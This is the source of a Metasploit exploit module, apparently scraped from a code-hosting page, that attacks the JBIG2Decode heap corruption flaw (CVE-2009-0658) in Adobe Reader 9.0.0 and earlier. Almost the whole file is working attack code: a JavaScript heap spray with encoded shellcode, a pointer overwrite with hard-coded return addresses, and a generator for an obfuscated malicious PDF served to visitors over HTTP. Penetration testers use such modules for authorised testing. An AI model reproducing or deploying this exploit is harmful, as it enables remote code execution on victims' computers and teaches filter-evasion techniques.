Path: blob/master/modules/exploits/windows/browser/adobe_jbig2decode.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::Remote::HttpServer::HTML1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe JBIG2Decode Heap Corruption',17'Description' => %q{18This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.19This module relies upon javascript for the heap spray.20},21'License' => MSF_LICENSE,22'Author' => [23# Metasploit implementation24'natron',25# bl4cksecurity blog explanation of vuln [see References]26'xort', 'redsand',27# obfuscation techniques and pdf template from util_printf28'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',29],30'References' => [31[ 'CVE', '2009-0658' ],32[ 'OSVDB', '52073' ],33[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-04.html']34],35'DefaultOptions' => {36'EXITFUNC' => 'process',37},38'Payload' => {39'Space' => 1024,40'BadChars' => ""41},42'Platform' => 'win',43'Targets' => [44[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)45[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)46],47'DisclosureDate' => '2009-02-19',48'DefaultTarget' => 0,49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)56end5758def autofilter59false60end6162def check_dependencies63use_zlib64end6566def on_request_uri(cli, request)67return if ((p = regenerate_payload(cli)) == nil)6869# Encode the shellcode.70shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))71ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))7273nops = Rex::Text.to_unescape(make_nops(4))7475# Randomize some variables76rand1 = rand_text_alpha(rand(50) + 1)77rand2 = rand_text_alpha(rand(50) + 1)78rand3 = rand_text_alpha(rand(50) + 1)79rand4 = rand_text_alpha(rand(50) + 1)80rand5 = rand_text_alpha(rand(50) + 1)81rand6 = rand_text_alpha(rand(50) + 1)82rand7 = rand_text_alpha(rand(50) + 1)83rand8 = rand_text_alpha(rand(50) + 1)84rand9 = rand_text_alpha(rand(50) + 1)85rand10 = rand_text_alpha(rand(50) + 1)86rand11 = rand_text_alpha(rand(50) + 1)87rand12 = rand_text_alpha(rand(50) + 1)88rand13 = rand_text_alpha(rand(50) + 1)89rand14 = rand_text_alpha(rand(50) + 1)90rand15 = rand_text_alpha(rand(50) + 1)91rand16 = rand_text_alpha(rand(50) + 1)92randnop = rand_text_alpha(rand(100) + 1)9394script = %Q|95var #{rand1} = "";96var #{rand2} = "";97var #{rand3} = unescape("#{shellcode}");98var #{rand4} = "";99var #{randnop} = "#{nops}";100101for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape(#{randnop});102#{rand6} = #{rand4} + #{rand3};103#{rand7} = unescape(#{randnop});104#{rand8} = 20;105#{rand9} = #{rand8}+#{rand6}.length106while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};107#{rand10} = #{rand7}.substring(0, #{rand9});108#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});109while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};110#{rand12} = new Array();111for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};112113for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");114#{rand13} = #{rand2}.length + 20115while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};116#{rand14} = #{rand2}.substring(0, #{rand13});117#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});118while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};119#{rand16} = new Array();120for (#{rand5}=0;#{rand5}<175;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};121|122eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]123eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]124modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418125# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000126# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec127# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214128129jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr130131# Create the pdf132pdf = make_pdf(script, jbig2stream)133134print_status("Sending #{self.name}")135136send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Content-Disposition' => 'Attachment' })137138handler(cli)139end140141def random_non_ascii_string(count)142result = ""143count.times do144result << (rand(128) + 128).chr145end146result147end148149def io_def(id)150"%d 0 obj" % id151end152153def io_ref(id)154"%d 0 R" % id155end156157# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/158def n_obfu(str)159result = ""160str.scan(/./u) do |c|161if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'162result << "#%x" % c.unpack("C*")[0]163# Randomize the spaces and newlines164elsif c == " "165result << " " * (rand(3) + 1)166if rand(2) == 0167result << "\x0d\x0a"168result << " " * rand(2)169end170else171result << c172end173end174result175end176177def ascii_hex_whitespace_encode(str)178result = ""179whitespace = ""180str.each_byte do |b|181result << whitespace << "%02x" % b182whitespace = " " * (rand(3) + 1)183end184result << ">"185end186187def make_pdf(js, jbig2)188xref = []189eol = "\x0d\x0a"190endobj = "endobj" << eol191192pdf = "%PDF-1.5" << eol193pdf << "%" << random_non_ascii_string(4) << eol194xref << pdf.length195pdf << n_obfu(" ") << io_def(1) << n_obfu(" << /Type /Catalog /Outlines ") << io_ref(2) << n_obfu(" /Pages ") << io_ref(3) << n_obfu(" /OpenAction ") << io_ref(5) << " >> " << endobj196xref << pdf.length197pdf << n_obfu(" ") << io_def(2) << n_obfu(" << /Type /Outlines /Count 0 >> ") << endobj198xref << pdf.length199pdf << n_obfu(" ") << io_def(3) << n_obfu(" << /Type /Pages /Kids [ ") << io_ref(4) << n_obfu(" ") << io_ref(7) << n_obfu(" ] /Count 2 >> ") << endobj200xref << pdf.length201pdf << n_obfu(" ") << io_def(4) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << n_obfu(" /MediaBox [0 0 612 792 ] >> ") << endobj202xref << pdf.length203pdf << n_obfu(" ") << io_def(5) << n_obfu(" << /Type /Action /S /JavaScript /JS ") + io_ref(6) + " >> " << endobj204xref << pdf.length205206compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js), rand(5) + 4) # Add random 4-9 compression level207pdf << n_obfu(" ") << io_def(6) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol208pdf << "stream" << eol209pdf << compressed << eol210pdf << "endstream" << eol211pdf << endobj212xref << pdf.length213214pdf << n_obfu(" ") << io_def(7) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << " /Contents [ " << io_ref(8) << " ] >> " << eol215216xref << pdf.length217compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8) + 1) # Convert to ASCII hex, then deflate using random 1-9 compression218pdf << n_obfu(" ") << io_def(8) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol219pdf << "stream" << eol220pdf << compressed << eol221pdf << "endstream" << eol222pdf << endobj223224xrefPosition = pdf.length225pdf << "xref" << eol226pdf << "0 %d" % (xref.length + 1) << eol227pdf << "0000000000 65535 f" << eol228xref.each do |index|229pdf << "%010d 00000 n" % index << eol230end231pdf << "trailer" << n_obfu("<< /Size %d /Root " % (xref.length + 1)) << io_ref(1) << " >> " << eol232pdf << "startxref" << eol233pdf << xrefPosition.to_s() << eol234pdf << "%%EOF" << eol235end236end237238239